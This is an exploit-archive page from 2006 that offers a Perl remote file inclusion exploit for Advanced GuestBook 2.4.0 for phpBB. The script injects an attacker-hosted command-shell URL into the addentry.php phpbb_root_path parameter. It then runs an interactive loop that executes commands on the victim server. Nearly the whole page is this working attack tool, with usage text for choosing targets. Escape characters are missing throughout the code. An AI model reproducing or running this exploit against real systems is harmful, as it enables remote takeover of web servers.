[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Advanced GuestBook <= 2.4.0 (phpBB) Remote File Inclusion Exploit
# Published : 2006-04-28
# Author : n0m3rcy
# Previous Title : TopList <= 1.3.8 (phpBB Hack) Remote Inclusion Exploit
# Next Title : TopList <= 1.3.8 (phpBB Hack) Remote File Inclusion Vulnerability
#!usr/bin/perl
use LWP::UserAgent;
# Bug Found by [Oo]
# Exploit coded by n0m3rcy
# Copyright (c) 2006 n0m3rcy@bsdmail.org
# Gr33tz; nukedx , Devil-00 , str0ke , cijfer
# Usage; n0ag.pl <target> <cmd shell location> <cmd shell variable>
if (@ARGV ne 3) { &usage; }
else { &exploit; }
sub header() {
print "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++rn";
print "+ Advanced GuestBook for phpBB <= 2.4.0 Remote File Inclusion Exploit +rn";
print "+ Bug found by [Oo] +rn";
print "+ Copyright (c) 2006 n0m3rcy@bsdmail.org +rn";
print "+ Gr33tz: nukedx , cijfer , str0ke , Devil-00 +rn";
print "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++rn";
}
sub usage() {
&header;
print "- Usage: $0 <target> <cmd shell location> <cmd shell variable>rn";
print "- <target> -> Victim's target ex: www.victim.com/path/rn";
print "- <cmd shell location> -> www.milw0rm.com/shelltxtrn";
print "- <cmd shell variable> -> cmdrn";
exit();
}
sub exploit () {
my $tar = $ARGV[0];
my $cmdt = $ARGV[1];
my $cmdv = $ARGV[2];
while() {
print "[CMD] $";
while(<STDIN>) {
$cmd=$_;
chomp($cmd);
my $exp = LWP::UserAgent->new() or die;
my $go = HTTP::Request->new(GET =>$tar.' admin/addentry.php?phpbb_root_path='.$cmdt.'?&'.$cmdv.'='.$cmd)or die "rn[-] Connected failn";
my $rgo = $exp->request($go);
my $return = $rgo->content;
my $return =~ tr/[n]/[ê]/;
if (!$cmd) { print "nPlease Enter a Commandnn"; $return =""; }
elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
{ print "nCould Not Connect to cmd Host or Invalid Command Variablen";exit }
elsif ($return =~/^<br./>.<b>Fatal.error/) { print "nInvalid Command or No Returnnn" }
if ($return =~ /(.*)/) {
my $finreturn = $1;
my $finreturn=~ tr/[ê]/[n]/;
print "rn$finreturnnr";
print "[+] Exploit successedrn";
last;
}
else { print "[CMD] $"; }
last;
}
exit;
}
}
# www.Syue.com [2006-04-28]